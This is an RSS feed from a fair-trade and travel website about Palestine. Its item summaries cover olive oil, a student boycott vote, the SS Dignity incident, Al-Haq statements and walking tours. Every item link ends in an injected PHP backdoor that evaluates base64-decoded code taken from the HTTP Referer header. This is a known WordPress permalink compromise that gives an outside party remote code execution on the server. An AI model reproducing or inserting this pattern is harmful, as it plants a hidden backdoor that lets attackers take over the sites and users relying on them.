http://www.olivecoop.com Fair Trade and Travel to Palestine and Israel Mon, 22 Feb 2010 13:52:01 +0000 http://backend.userland.com/rss092 en Fair Trade in an Unfair World: The case of Palestine Fair Trade Fortnight, Manchester 2009 “Palestine is the natural home of the olive tree” explained Nasser Abu Farha, in Manchester for the launch of the world's first Fair Trade certified olive oil.  The olive groves of the West Bank, cultivated by traditional ... http://www.olivecoop.com/2009/09/21/fair-trade-in-an-unfair-world-the-case-of-palestine/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ from: Action Palestine On Wednesday 11th Feb the University of Manchester Students Union passed a motion in support of the people of Gaza, which includes a resolve to boycott Israel, in an emergency general meeting [1]. The meeting, which was attended by over 1000 students, was called in response to the ... http://www.olivecoop.com/2009/02/12/land-mark-policy-to-boycott-israel-passed-at-university-of-manchester-student-union/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Israeli gunboats have RAMMED and attacked SS Dignity on its way to Gaza - 90 miles off Gaza and in international waters. (Larnaca, Cyprus, 10:00 am) On Tuesday, December 30, at 5 a.m., several Israeli gunboats intercepted the Dignity as she was heading on a mission of mercy to Gaza. One ... http://www.olivecoop.com/2008/12/31/israeli-navy-attacks-free-gaza-boat/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Al-Haq documentary takes first place in Dubai International Film Festival Al-Haq is proud to announce that its recent documentary, “Memory of the Cactus,” directed by Hanna Musleh, took first place in the Dubai International Film Festival in the category of best documentary. ... http://www.olivecoop.com/2008/12/23/al-haq-documentary-takes-first-place-in-dubai-international-film-festival/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Denial of entry to UN Special Rapporteur demonstrates once again Israel’s duplicity in its relations with the UN AL-HAQ ALERT FOR IMMEDIATE RELEASE REF.: 39.2008E 17 December 2008 As a Palestinian human rights organisation dedicated to the protection and promotion of ... http://www.olivecoop.com/2008/12/18/al-haq-statement-on-denial-of-entry-to-un-special-rapporteur/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Prisoner Releases Report from CADFA http://www.camdenabudis.net/ the news that 230 Palestinian prisoners have been released by Israel. BUT ... some light is cast on who they are by this Abu Dis example: 6 prisoners from Abu Dis are among them. Of the ... http://www.olivecoop.com/2008/12/15/230-palestinians-released-from-israeli-jails-475-palestinians-arrested/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The Nativity Trail 2009 The Alternative Tourism Group (ATG) and Siraj Center for Holy Land Studies proudly announce re-inaugurating the Nativity Trail from Nazareth to Bethlehem in 2009. Now, 2000 years after the historic journey of Joseph and Mary, the modern city of Bethlehem invites you to make a symbolic and historic ... http://www.olivecoop.com/2008/12/15/the-nativity-trail-2009-west-bank-walking-tour/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Israeli Authorities Hold UN Official in Ben Gurion Airport: GENEVA, December 14, 2008 (WAFA)- Israeli Occupation Authorities held, Sunday, United Nations Special Rapporteur on the situation of human rights in Palestinian Territory occupied since 1967 Professor Richard Falk, and is willing to deport to Geneva, Monday morning. Permanent Observer Mission of Palestine ... http://www.olivecoop.com/2008/12/15/israel-refuses-senior-un-official-entry-to-the-country/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Uri Avnery 13.12.08 Tzipi’s Nation-State IT SOUNDS like an invented story. And indeed it is. In this tale, an American politician gets up and declares: The United States was founded by British Protestants who were persecuted in Europe for their Puritan beliefs. Therefore, the United States is an Anglo-Saxon ... http://www.olivecoop.com/2008/12/14/tzipis-nation-state/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.ketteringtownfc.co.uk/index.php?q=node/329 Winner of Lloyds TSB Asian Jewel for Business & Commerce to return award in protest at banks actions against UK charity By Tim Saunders, 10th December 2008 (Please visit the link below to sign a petition requesting Lloyds TSB to stop denying humanitarian aid to 5 million Palestinian refugees and forward ... http://www.olivecoop.com/2008/12/13/kettering-town-fc-fighting-lloyds-tsb-from-trying-to-crush-interpal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/